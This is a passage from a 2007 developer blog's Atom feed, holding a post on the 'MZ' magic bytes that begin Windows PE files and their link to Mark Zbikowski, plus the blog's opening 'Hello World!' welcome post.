here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4505471142891752714?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/4505471142891752714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=4505471142891752714' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4505471142891752714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4505471142891752714'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/11/perfect-logicians-puzzle.html' title='&quot;The Perfect Logicians&quot; Puzzle'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3319621320601313863</id><published>2007-09-03T18:26:00.000-07:00</published><updated>2008-05-06T10:37:40.159-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>The Man In Our Machines</title><content type='html'>And his name is Mark Zbikowski.&lt;br /&gt;&lt;br /&gt;And to be honest, not all machines, but only Windows based. &lt;span style="font-style: italic;"&gt;&lt;br /&gt;(Sorry for the eye catch!)&lt;/span&gt;&lt;br /&gt;In every application you start, in every dll file that is loaded on your RAM (whether on your desktop, laptop or PDA device), as long as it is Windows based, there are two &lt;span style="font-weight: bold;"&gt;magic &lt;/span&gt;bytes in head of all the others that have a very specific meaning. These are the initials of one of the first Microsoft employees that was involved on all crucial Windows development phases. As said his name is &lt;span style="font-weight: bold;"&gt;M&lt;/span&gt;ark &lt;span style="font-weight: bold;"&gt;Z&lt;/span&gt;bikowski.&lt;br /&gt;&lt;br /&gt;Take any windows executable file, dll file, either for PC or Windows CE and you will notice that the first two bytes are &lt;span style="font-weight: bold;"&gt;0x4D 0x5A &lt;/span&gt;or in ASCII code &lt;span style="font-weight: bold;"&gt;MZ&lt;/span&gt;. Every file conforming to the Windows PE(Portable Executable) format (exe, dll, ocx etc) has an introducing &lt;span style="font-weight: bold;"&gt;DOS Header&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;DOS was Microsoft's first Operating System delivered with all IBM PCs and was entirely command line based. Executable files (technically files that the &lt;span style="font-weight: bold;"&gt;system loader &lt;/span&gt;could map into memory and hand over the CPU control) were also identified by the .exe .com or .bat extension. With the domination of the Win32 and GUI environments,  every new program that required Win32 functionality (e.g. drawing) was not able to be hosted under &lt;span style="font-weight: bold;"&gt;"pure"&lt;/span&gt; DOS. The least they should do was to print an error message like "&lt;span style="font-weight: bold;"&gt;This program cannot be run in DOS mode&lt;/span&gt;". This is a commonly found string also in every PE file (although it can be altered on compilation time)&lt;br /&gt;&lt;br /&gt;So every windows application or library has a DOS part (basically a DOS dump program that prints out your desired message). In the beginning of this part that is actually the beginning of the file, the two bytes of the key DOS developer, Mark Zbikowski, are found much like a &lt;span style="font-weight: bold;"&gt;legacy&lt;/span&gt; for us to keep in mind that &lt;span style="font-weight: bold;"&gt;computers have been much less capable.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;In the beginning of the PC era, there were not many things that you could do with a computer. Just programs for simple mathematical operations and one-color command line text editors seemed more like a programmer's joke or an attempt to prove that nothing special could be done with these machines. The process address space was limited just to 64K. Programs used to be the same both in the disk and on memory. With a 16-bit memory pointer you could only reach out for 65536 bytes.&lt;br /&gt;&lt;br /&gt;Things changed when Mark decided to put a header before the executable file (much following the Unix style) that would describe the entire file and basically its sections so that it would be possible to create a process image much richer than its disk one. This led to a better memory management and of course good news for developers. So, this header replacing machine specific assembly code, should simply mean...&lt;span style="font-weight: bold;"&gt;nothing.&lt;/span&gt; Zbikowski decided to place his initials and since then every windows 'component' carries this legacy.&lt;br /&gt;&lt;br /&gt;Further Reading:&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Mark_Zbikowski"&gt;Mark Zbikowski Wikipedia Entry&lt;/a&gt;&lt;br /&gt;&lt;a href="mms://wm.microsoft.com/ms/msnse/0605/27723/BehindtheCode1_MBR.wmv"&gt;Mark Zbikowski interview&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;In next posts I will try to give a brief overview of the PE format used in current Windows systems and the exciting amount of information you could retrieve by processing its raw bytes. (Did you know for example that Skype application was technically built in 1992 ? -to help you I was not there! )&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3319621320601313863?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/3319621320601313863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=3319621320601313863' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3319621320601313863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3319621320601313863'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/09/man-in-our-windows-based-machines.html' title='The Man In Our Machines'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-9062846565550160792</id><published>2007-09-03T01:23:00.001-07:00</published><updated>2007-09-03T02:12:53.322-07:00</updated><title type='text'>Hello World!</title><content type='html'>&lt;span style="font-family:verdana;"&gt;The title is very familiar to most developers.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;In case you are not familiar with the story,  creating a program that displays a &lt;/span&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;'Hello World'&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;, is the first thing that the majority of developers does when learning a new platform or language. (just like 'mom' or 'dad' are a baby's first words)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;That said, I would like to welcome you all, to a brand new development blog site, where I hope you will find what you are looking for. Which brings me to the next topic.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;'Looking for'&lt;/span&gt;&lt;span style="font-family:verdana;"&gt; is the next thing after creating the 'Hello World' program..! It is somewhat frustrating but it is true, that developers have to make a lot of search (documentation, sample code etc) when trying to figure out HOW-TO get things done. It is times when documentation is not enough, you are fed up hitting on the wall and your last resort is requesting help from the community. I personally have been greatly benefited by developer blogs, forums and support. So, I decided to make a small contribution to this...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;So, again a juicy welcome to you all and enjoy your visit!!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-9062846565550160792?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/9062846565550160792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=9062846565550160792' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/9062846565550160792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/9062846565550160792'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2007/09/hello-world.html' title='Hello World!'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>
